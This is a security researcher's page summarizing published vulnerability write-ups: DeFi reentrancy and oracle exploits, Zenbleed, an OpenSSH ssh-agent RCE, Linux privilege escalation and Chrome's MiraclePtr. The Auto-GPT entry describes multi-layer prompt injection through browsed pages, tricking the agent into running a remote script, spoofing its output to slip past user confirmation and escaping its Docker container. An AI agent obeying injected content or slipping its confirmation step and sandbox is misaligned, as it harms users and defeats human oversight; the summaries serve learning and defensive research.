Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Curve, Vyper- 1217

Rekt    Reference →Posted 2 Years Ago
  • Curve Finance is a central protocol within the DeFi ecosystem. The protocol was written in the Vyper language because of its gas efficiency.
  • Most people assumed that the exploits were due to a known read-only reentrancy within Curve. However, the more people dove into the issues, the more they realized this ran deeper. It looked like a reentrancy issue in Curve. But, how is this possible? It had been audited multiple times!
  • How did the compiler mess this up? According to the here, there is a mismatch in the slots that are being checked for reentrancy. This means that the protection was per function instead of per contract, which is really bad for the protocol.
  • From the commit hash, it appears that a check was missing to see if a reentrancy lock had already been made. This resulted in a lock being made per function, which makes the reentrant lock possible to work around. BlockSec's image shows the change that made the code vulnerable.
  • Initially, it was crazy to me that basics tests did not call this. However, a developer would write a test to call the same function back-to-back. In this case, the protection would have worked. Instead, one function in the contract then another one would have been called in order to test this. Performing the extra test cases and a test suite can pay off!
  • A crazy bug led to the destruction of this. I wonder if people will use Vyper in the future or if they will only use Solidity.

Use-after-freedom: MiraclePtr - 1216

Google - MiraclePtr    Reference →Posted 2 Years Ago
  • Half of the exploitable bugs in Chrome were use after frees (UAF). Killing this bug class with mitigations would save a lot of exploitable 0-days.
  • The Chrome browser runs in a sandbox. Compromising the render is the easy part and there is not much gain from doing this. The sandbox is the hard part to exploit. It has less ways to interact with it and is scoped down in terms of attack surface.
  • We only care if an attacker can escape this process and not the renderer itself. So, the idea is to reduce the attack surface of the browser process in order to make exploitation harder. How? Miracle pointers.
  • The goal is to rewrite the code base with MiraclePtr instead of standard pointers. The algorithm works just like reference counting under the hood for each pointer.
  • The main difference is that when the memory does not have any references, the PartitionAlloc allocator will quarantine the memory region before releasing it. Additionally, they set the pointer with garbage memory so that a UAF would not be very useful.
  • The authors of this post rewrote 15K raw pointers. Although this is not all pointers, it will reduce the attack surface drastically. Additionally, they hope to move this into more parts of the code base too. Overall, this is a super interesting mitigation method in software for memory corruption bugs.

Finding Two 0-Days by Reading Old CVEs- 1215

Sagitz    Reference →Posted 2 Years Ago
  • Sagitz read about a Linux kernel privilege escalation labeled CVE-2023-0386. The vulnerability exploited an OverlayFS where SUID files from a nosuid mount could be copied to outside directories. By doing this, escalating to root is trivial.
  • To mitigate this problem, a check was made to verify that the owner of the modified file is present in the current user namespace. This solves the SUID exploit since SUIDs must be owned by root to be effective.
  • Where this is one bug, there are may be several variants of this issue. The people thought "Is there any other way to elevate privileges?" There are also file capabilities; these are a way to grant root-like capabilities to a file without needing it to be owned by root.
  • By using file capabilities, the same exploit method can be used instead of SUID binaries. The exploit only worked on one of the authors systems, but why? They decided to reverse their search: are there any places where file capabilities are copied without conversion?
  • By using this approach, they found a variant of this issue in another place. The vulnerability is so easy to exploit it can be done with a bash script. For more on these bugs, read here.
  • The mindset of going from old CVE to new bug to another new bug was awesome to see. Really good commentary of how hackers find vulnerabilities and how to use other research to propel yourself.

Hacking Auto-GPT and escaping its docker container- 1214

Positive Security - Lukas Euler    Reference →Posted 2 Years Ago
  • Auto-GPT is a command line application for getting a high level description of a goal then breaking it up into sub tasks. This works by taking in the initial text from the user and basing the data to an LLM. Based upon this data, a command will be executed depending on what we ask. This ranges from browsing websites to writing files to executing Python code.
  • The authors took the direction of seeing if incoming input from other mediums besides the users text could be a security threat. So, they focused on browse_website and other functions along these ideas. One idea would be to force a sponsored result to return tainted data that could act as malicious input to the system.
  • When grabbing data from the website, it was passed back into the LLM. So, the data being returned back to the user had to be part of the response from the LLM. TO get around this, they found that data included in a hyperlink was directly included in the output and they used more prompt injection to return arbitrary data as well.
  • Once there, they wanted to convince Auto-GPT to execute arbitrary code. They wanted to make the code as small as possible to ensure that no rewrites happened. Their plan was to use requests to eval a script from the internet. Auto-GPT saw a security issue with this so they used some misdirection with curl to trick the program to thinking that the usage of eval was safe in this case. This level of code execution was within Auto-GPT though.
  • Their goal was to get code execution within the Docker container and not the LLM. They found multiple command that made this trivial: write_to_file and execute_shell were easy to do. There is a catch though: many of these commands require a confirmation from the user.
  • The authors found that ANSI escape sequences would be rendering in the terminal. This could have been used to spoof model statements, which is a pretty awesome bug. At this point, even with code execution, we are still within the container though.
  • The docker file (docker-compose.yml) mounts itself into the container. Because of this, an attacker can write to this in order to escape the container on the next call. There is an additional setup where the python code is executed within a clean docker container with no issues. However, execute_python_code has a directory traversal vulnerability that allows for the modification of python scripts from outside the directory.
  • Overall, a super interesting post that dives into the future. Multi-layer prompt injection to get access to dangerous functionality then abusing this functionality to get code execution. Pretty neat!

PalmSwap Hack- 1213

Quill Audits    Reference →Posted 2 Years Ago
  • PalmSwap is a decentralized leveraged trading platform. The calculations for betting on the price going up or down must be done properly. There are two tokens at play: USD Palm (USDP) and Palm Liquidity Provider (PLP).
  • When removing liquidity, the price is calculated using the getAum() function. This multiplies the pool amount by the price of the token from an external oracle to get the amount of received tokens.
  • When calling buyUSDP(), there is a function to increase the price of USDP and increase the pool amount. Within the removal process, there is no decrease price though. The flaw is that the calculations are not 1 to 1 between adding and removing assets. The call gives a 1 to 1.9 ratio, which is way to easy to make money from.
  • How was this attack performed?
    1. Flash loan for 3 Million USD.
    2. Purchase a large amount of PLP with purchasePLP(); about 1 Million from the original amount. Under the hood, this will buy USDP and mint PLP with a 1 to 1 ratio. Finally, it stakes this for the user.
    3. Purchase USDP directly by calling buyUSDP() with the rest of the funds. The problem is that the exchange rate has gone up between USDP and PLP, even though nothing has really changed.
    4. Unstake the amount from step 2 ino rder to get USDP at the inflated rate.
    5. Call sellUSDP() to sell all of the staked amount.
  • Another report can be found here from BlockSec as well. Overall, a bad functional bug led to a major exploit. It's weird that this was not caught in testing.

EraLend Crypto Platform Hacked- 1212

Rekt    Reference →Posted 2 Years Ago
  • EraLend, a lending platform on zkSync Era, was hacked. Within the SyncSwap project, there is an LP token. The EraLend protocol was using a price oracle from SyncSwap.
  • Keeping all values in a good state is important. This is particular important when external calls are possible. In this case, the totalSupply is modified by a call to burn() but there is an external call prior to updating the reserves.
  • When calculating the oracle price, it uses the reserves. Since the external call exists, an attacker could leave the contract in a state where the supply and reserve do not match. This results in the oracle inflating the price of the asset. I personally do not understand why being in this state benefits the attacker and I cannot seem to find code from Eraland. So, just going to take their word for it.
  • What's funny, is that this behavior of the LP token is documented in the code and viewed as a feature. This is shown in the tweet. Read only reentrancy as a service!

Zenbleed- 1211

Tavis Ormandy    Reference →Posted 2 Years Ago
  • All x86-64 CPUs have vector instruction registers called XMM registers. Recent CPUs have increased these from 128-bits to 512 bits. 256 bit registers are called YMM and 512 bit registers are called ZMM. Besides number crunching, these are used in many libc calls for string based operations because of their speed and parallelism.
  • The author shows an example within strlen()
    vpxor  xmm0,xmm0,xmm0
    ...
    vpcmpeqb ymm1,ymm0,YMMWORD PTR [rdi]
    vpmovmskb eax,ymm1
    ...
    tzcnt  eax,eax
    vzeroupper
    ret
    
  • The first instruction is setting YMM0 to zero XORing it by itself. The next instruction is using a pointer to our string in $RDI to check which byes match YMM0 and stores the result in YMM1. This is essentially checking if null bytes will match. The vpmovmskb instruction allows us to transfer this to the general purpose register eax. tzcnt finds the amount of trailing zero bits. With 4 instructions, we have successfully found the position of the first null byte of a string!
  • The final instruction is vzeroupper. This is used to zero out the upper bits of the vector registers, which is important for performance reasons. A process has a special location for storing the state of these various registers: Register File and a Register Allocation Table (RAT). The RAT keeps track of what space in the register file is assigned to each register. For instance, when zeroing out an XMM register, the 'z-bit' flag is set in the RAT. So, vzeroupper just sets this flag to release the resources.
  • All of that was background! So, what's the bug? Modern processors perform speculative execution in order to process data faster. It turns out that the vzeroupper does not revert the changes made to the z-bit in the case of branch misprediction. In a way, this creates a use-after-free-like scenario where a RAT mapping has been removed but will still be used after the revert of the state.
  • How do we exploit this? Many of the string operations, such as strlen and strcmp use these instructions. So, we can target a string with these vector registers. To exploit the bug, a few steps must be taken:
    1. Force an XMM Register Merge Optimization to occur. This can be done using the cvtsi2sd instruction.
    2. A register rename, which can be triggered using the vmovdqa instruction.
    3. Mispredicted vzeroupper branch prediction. This is a standard thing to force conditional branches to mispredict for speculative execution bugs.
  • After optimizing the branch prediction, the author was able to steal 30kb per core per second. This can be done within VMs, since it's per core!
  • One thing I was wondering was how the bug was found? Manual review of Microcode? No, fuzzing! In this case, fuzzing is complicated since A) crashes will not occur so we need a different trigger and B) there is no guidance. To get around problem A) the author used an emulator to run the code. Then, they would run the code on the CPU itself to examine the state. If something was different, then it was potentially a bug. To make this more accurate, they added in pipeline instructions like sfence in order to ensure they had full control of what was being executed.
  • To solve the second problem of lack of guidance, the author used performance counters. These special registers store the counters of hardware-related events and there are a lot of them! By using this to guide the fuzzer, it would automatically find interesting paths, which is super neat.
  • Prior to this vulnerability, I had never heard of the bulk of these things and did had not ever considered microcode level bugs. Overall, an awesome write up on something that is out of my zone but the author did a good job making it comprehensible. LiveOverflow recently made a video about this as well.

ConicFinance Multiple Exploits- 1210

Immunefi/Conic    Reference →Posted 2 Years Ago
  • Conic uses the Curve protocol for trying to earn rewards. It has a concept of omnipools where the same underlying asset is distributed among multiple Curve pools. Currently, I'm not seeing the benefit of this from reading their docs.
  • First, Immunefi spotted an exploit that occurred in the function _airdrop(). The code takes in three parameters: from, to and amount.
  • These parameters have calculations done on them to determine the airdrop address. This includes an XOR with the block number, from address and to address. Eventually, this is used for the address of a balance call with the amount provided by amount in the function.
  • It should be noted, there is no check on who the airdrop address is besides the manipulations that occur. The bug is that an attacker can set this to be an arbitrary user. Most importantly, they can set the address to be the address of the pairContract used for a pool. By setting this to 1 and calling sync() the pools price is very messed up, leading to an opportunity to make money.
  • The second vulnerability exists in the integration between Curve and Conic. The reentrancy protection on the Omnipool was only turned in in the case of ETH pools being used. This was checked by calling checking CurveHandlerV3() to see if the pool had interacted with ETH. The check was made by seeing if it was 0xeee...ee, which is a standard for ETH address. However, in reality, this used the WETH address.
  • Since the wrong address was being validated against, the reentrancy protection was broken. There is a known bug in Curve pools, which is read-only reentrancy. By manipulating the Curve pool then calling Omnipool contract for ETH allowed for an attacker to trick the pool into minting more cncETH LP tokens than they should have been rewarded. It's weird that this wasn't found in testing...
  • The protocol had reentrancy protections in place. On top of this, they also had a mechanism to ensure that imbalanced Curve pools could not be interacted with. However, the threshold was not tight enough, which allowed the attacker to slowly drain the pool. I thought this was a great idea that just did not work because of the ability to preform this attack several times.
  • Overall, two really interesting bugs! Manipulation of a pool by setting the amount of a particular contract to 1. Then, a known read-only reentrancy vulnerability exploit in Curve by finding a flaw in the prevention of this exact attack. What's the takeaway? Test your code to ensure it works!

CVE-2023-38408: Remote Code Execution in OpenSSH's forwarded ssh-agent- 1209

Qualys    Reference →Posted 2 Years Ago
  • ssh-agent is a program for hold private keys for authentication through ENV variables. Agent forwarding is the process of forwarding from further remote hosts, removing the need for authentication data to be stored on other machines. For obvious reasons, this is a slight security issue! It gives users the ability to bypass file permissions on a remote host; but, this is still widely used today. In our case, this gives a remote attack surface!
  • While browsing the source code of ssh-agent, the authors noticed an interesting bug: a user who has access to the remotely forwarded host can call dlopen() and dlclose() on /usr/lib* on the main workstation. A local privilege escalation by Jann Horn would load a library from /tmp was discovered in 2016. This resulted in an allowlist being made to filter out types. Initially, they looked for a filter bypass or a directory traversal to this fix but couldn't find one.
  • In 2010, Tavis Ormandy used a dlopen/dlclose primitive similar to this one in a local setting by abusing the side effects of the library loading and unloading process. The original author used local primitives (ENV variables, file writes, etc.) to get code execution. In this case, we only have the remote dlopen/dlclose primitive. Is this even exploitable? To determine this, they reviewed various default libraries that could be loaded.
  • What they found was startling from manual review. These are listed below:
    • Some libraries require an executable stack, which will make the make stack executable. 58 of these were found.
    • Many libraries are undeletable once loaded. 16577 were found.
    • Some libraries create a SIGSEVG signal handler and do not deregister that handler if closed. This turns into a use-after-free-like situation. 9 were found.
    • Some libraries instantly crash if loaded, since they are not loaded in the proper/expected context. 2 were found.
  • As soon as I read those primitives, I saw the potential for exploitation. Make the stack executable, create a signal handler in a mmaped section of memory that gets unmapped, reload code into that area, trigger the signal handler jump to executable stack for code execution. All of this sounds fine and dandy, but finding a proper path for this is tricky. So, the authors fuzzed the process with the various primitives from above. They injected their own signal handler with shellcode on the stack (0xCC opcode) to say if their shellcode as properly hit or not. They added their shellcode by writing to the socket of the connection directly.
  • They found two separate chains for the signal handle use after free to get code execution. While looking at the crashes, they found more primitives though. The next primitive was a callback function UAF. A shared library would register a userland callback function within a core library. Once this was unloaded, a different library could be replaced in that memory space. Finally, a shared library would make a call to the core library function that triggers the callback in our code.
  • Another primitive they found resulted from a strange SIGSEGV. A library is loaded, then a thread starts a timer in kernel-land. This library could be unloaded, but the timer never stops. Once the thread returns from execution, it was hop into unmapped code. Naturally, we can replace this with a different library to jump to the stack for execution.
  • While fuzzing, they kept getting the error message ... overflowed sigaltstack. Sigaltstack allows a thread to define a new alternate signal stack for execution of signal handlers. Similar to the previous bug, the library was implementing a separate signal stack but not unregistering it. Once the signal was hit, improper code was being hit, creating a sigaltstack use-after-free. Although they found some primitives, they couldn't take this to code execution after loads of testing.
  • Crazily enough, various combinations of library loads led to direct access over the instruction pointer. This happens as a consequence of signal handler overwriting then calling RET N. Once this occurs, the signal handler restoration process occurs, overwriting the userland addresses back to normal. In order to exploit this, they needed an ASLR leak to jump back to the proper location. They did not pursue this option further.
  • Another fuzzing crash was puzzling to them. With specific combinations of libraries, crashes occurred without any of the other primitives from above. The library LLVM libunwind.so is loaded is several locations. Some other libraries load libgcc_s.so for handling C++ exceptions. If both of these are loaded and an exception occurs, LLVM's _Unwind_GetCFA will be called within libgcc_s.so instead of the LLVM library! These have different types of structures, leading to a super bizarre type confusion vulnerability.
  • At the end, the authors mention there may be other ways to exploit this; they only looked on Ubuntu Desktop. Overall, another amazing article from Qualys that boggles my mind.

Why are you not an Elite Smart Contract Security Researcher?- 1208

gmhacker    Reference →Posted 2 Years Ago
  • In every field, there are people at the top and bottom. Why is this? What makes somebody elite at a subject? This is what the post is about. With so many aspiring people, there has to be a secret. It's told from the perspective of an elite smart contract hacker.
  • Everyone wants to be a smart contract auditor for the money. The biggest bounty ever given out if $10m and there is so much other money going around. Spearbit DAO has crazy salaries and many people on Code4rena/Sherlock have made 100K+.
  • The reality of the thousands of people flocking to audit smart contracts is grime: it is really hard and competitive. On Code4rena, only 29 people have a lifetime earning of 100K+, 57 of 50K and 170 of 10K. Damn, that's really not that lucrative or helpful. On Immunefi, the numbers are in the millions for several people though.
  • What's interesting, is that this thing doesn't work on a full time job for many people. Even Pashov, the most lucrative private auditor, has only doing 30ish audits total. To hit my salary as an auditor, I would need to make $700 a day on Code4rena and Immunefi, which would put me in the top 0.1% of auditors; this simply is not realistic for me or very many people.
  • What are the top auditors secrets? Success is not the default outcome. There are two keys: perseverance and focus. Everyone claims they want to be the best but very few spend the actual time to do so.
  • For perseverance, do you spend 12 hours a day on smart contract auditing? Do you read every report that is released? Do you reproduce hacks that occur? If not, you're already growing slower than some people in the space. Progress is not always obvious either.
  • For focus, it is more complicated. Being able to sit down for hours upon hours to get good; you've got to put in the time. Here, we also need to consider efficiency. Are you learning the right content? Is your time sitting down only hacking or are you on Twitter? Being efficient is hard to do with your focused time. The call to action is simple to say but hard to execute: wake up on time, setup a real work schedule for this and be disciplined with your time.
  • If you're not here, that's okay! Armada, a famous Super Smash Brother Melee player ruined my Melee career. Why? He told me the amount of effort to reach the top. At this point, I realized I did not want to reach the top but that was okay. I do other things I enjoy! If you want to live a full time, with friends, sports, family and so on, you'll probably never be at the 1%. That's what these articles don't tell you.
  • A few other things, imo, make the space hard to get into:
    • Required Knowledge: Most projects integrate with other projects with integrate with other projects. If you are missing some understanding, it makes a project hard to understand.
    • Competitive: Everyone wants to make the money. The easy to find stuff is likely not going to be there.
    • Bug classes are unique: Finance issues, denial of service, frontrunning and reentrancy are all unique to the space. Getting up to speed with everything is difficult.
    • Moves fast: Every day there's a new hack, new technique, new article... it's easy to get behind in the space and miss something.
  • Overall, a good article! I wrote some of my own opinions in here as well, since the truth isn't always easy to hear.